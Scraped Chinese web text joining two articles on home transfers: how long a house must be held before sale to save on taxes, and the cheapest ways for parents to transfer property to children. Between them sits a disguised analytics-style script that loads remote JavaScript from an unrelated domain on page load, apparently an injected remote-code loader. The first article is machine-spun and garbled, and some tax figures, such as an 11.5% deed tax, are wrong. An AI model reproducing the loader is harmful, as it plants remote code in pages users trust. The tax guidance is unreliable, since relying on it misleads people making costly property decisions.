想换大房子了，房子满几年可以过户

下面为你们介绍一下：房子满了几年可以过户，目前，中国基于旧住宅的最新规定，购买购买的二手房屋5年（包括），购买家庭唯一的住宅免税个人所得税。具体的收费标准：房产证满5年（包括），并是唯一的住宅不需要缴纳个人所得税；房产证满5年，唯一的非住宅需求为房地产交易的利润部分的20%或总住宅价格的1%；房产证不足5年。必须缴纳房地产交易的利润部分的20%或总住宅价格的1%。普通的商品的房子满几年可以过户，不考虑过户房屋成本的问题，住宅没有明确的年限规定的情况下，二手房间的买卖过程复杂，最终的完成，必须经历几个重要的步骤。房子满几年可以过户如果是一次性付清房款，按照合同约定买方向卖方支付首付款之后，就可以办理房产商的手续，在处理时，必须把有关资料齐全的准备。之后等新的房产证完成后，买方可以凭借新的房产证进行物业的交接、水电开户等手续，而且确认最后的交房时没有错。买方可以将剩下的购房款缴清给卖房。房子满几年可以过户，如果买家是贷款购买住宅的情况下，首先审查买方的贷款金额、人民银行征信。审核没有出入的话，双方就达成买卖的协议、买卖双方订立买卖合同，在规定的时间内买方向卖方支付首付款。买方与贷款公司或银行签订贷款合同。7个工作日期的贷款审查结束后，双方约定将一个房地产放入交易中心的时间。在20个工作日内收到新的房产证。银行通过新的房产证向卖方发放贷款。买方用新的房产证办理物业交接手续，办理水电煤的开户，最后在交房时买方将剩下的房款结算清给卖家。房子满几年可以过户，各位业主在买卖二手房时，国家对房产证满五年且唯一住宅交易有一定的税率优惠，除地方限制购买政策外，不考虑住宅买卖成本的条件下，对于房产证满了几年再过户是没有限制要求的。如果非要说房子满几年可以过户，那还是满五年再过户吧。比较一下，房子满5年后，再卖出去也能节约下一笔税费，对买家来说也是很划算的。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();

房产过户给子女 怎么过户给子女更省钱?

导语:房产过户是指通过转让、买卖、赠予、继承遗产等方式获得房产，去房屋权属登记中心办理的房屋产权变更手续。即产权转移从甲方转移到乙方的全过程。房产过户有几种不同的情形，有继承的房产过户、赠与的房产过户、二手房过户等。很多父母到了晚年的时候都会选择把房产过户子女，但又不知道怎么过户，下面，小编就来为大家详细的解答一下。一、房屋怎么过户给子女?房产过户给子女的方式有三种：第一种是以出让的方式办理过户，也就是以买卖的方式按照交易的程序去办理过户。第二种是以赠与的方式办理过户，先办理赠与公证，然后办理房屋评估作价和房屋鉴定，最后办理过户。第三种是以继承的方式办理过户，但这种情况需要发生在父母一方死亡的情况下，不是很常用。(一)以出让的方式将房屋过户给子女：房屋买卖办理过户的主要费用有营业税、个人所得税和契税三种。其中房产满五年，营业税是免征的，同时个税也免征，只需要缴纳契税和产权转移登记费，如果房产未满五年，需要缴纳营业税和个税，同时缴纳契税和产权转移登记费。(二)以赠与的方式将房屋过户给子女：办理赠与过户，需要交纳个人所得税、契税和公证费。赠与过户是没有营业税的，因为赠与是被认为是无偿受赠的行为，所以需要受赠人缴纳个人所得税，同时赠与过户也需要缴纳公证费。(三)以继承的方式将房屋过户给子女继承过户与买卖和赠与相比，税费支出是最低的，因为继承的房产没有营业税、个税和契税，只需要缴纳公证费。继承人凭遗嘱办理继承权公证，凭继承权公证书到房管管理部门办理过户更名就可以了。二、房屋怎样过户给子女更省钱?(一)继承过户最省钱：在买卖、赠与、继承三种过户方法之中，继承是最经济快捷的途径，因为我国还没有开征遗产税，办理继承过户只需缴纳公证费，其他税费全免。由于继承的方式在父母一方去世的情况下才可以实现，所以很多父母都暂时不考虑这种途径。当然，也有父母考虑得很远，打算写下遗嘱把房产留给孩子。(二)五年以内的房产赠与过户更省钱：根据国家政策，父母把房产赠与子女是免征营业税和个人所得税的，只缴纳占房屋总价2%的公证费和11.5%的契税即可。但如果买卖过户虽不用缴纳公证费，但除了契税外还要缴纳下面的税费：1、房屋购买不足五年以及面积超过140平方米的房子买卖过户时要征收营业税。2、房屋购买不足五年或者房屋虽然购买已满5年但并不是家庭唯一住房的，买卖过户时要征收个人所得税。(三)五年以上房产买卖过户更省钱：根据国家政策，如房产购买已超过五年，则免征营业税和个人所得税，只需交纳契税，比赠与过户少缴纳一个公正的费用。结语：相信大家看了上面的内容后都知道选择哪种方式过户得看房屋的情况，对于购买超过五年的房子，转卖时免征营业税，如果这套房又是家里唯一房产，不但免营业税，还免个人所得税。如果是五年以内的房子还是选择赠与过户比较省钱，父母在办理过户时可以咨询一下房产管理部门，选择适合自己的方式将房屋过户给子女。关于房产过户问题小编就介绍到这里了，希望对大家有所帮助。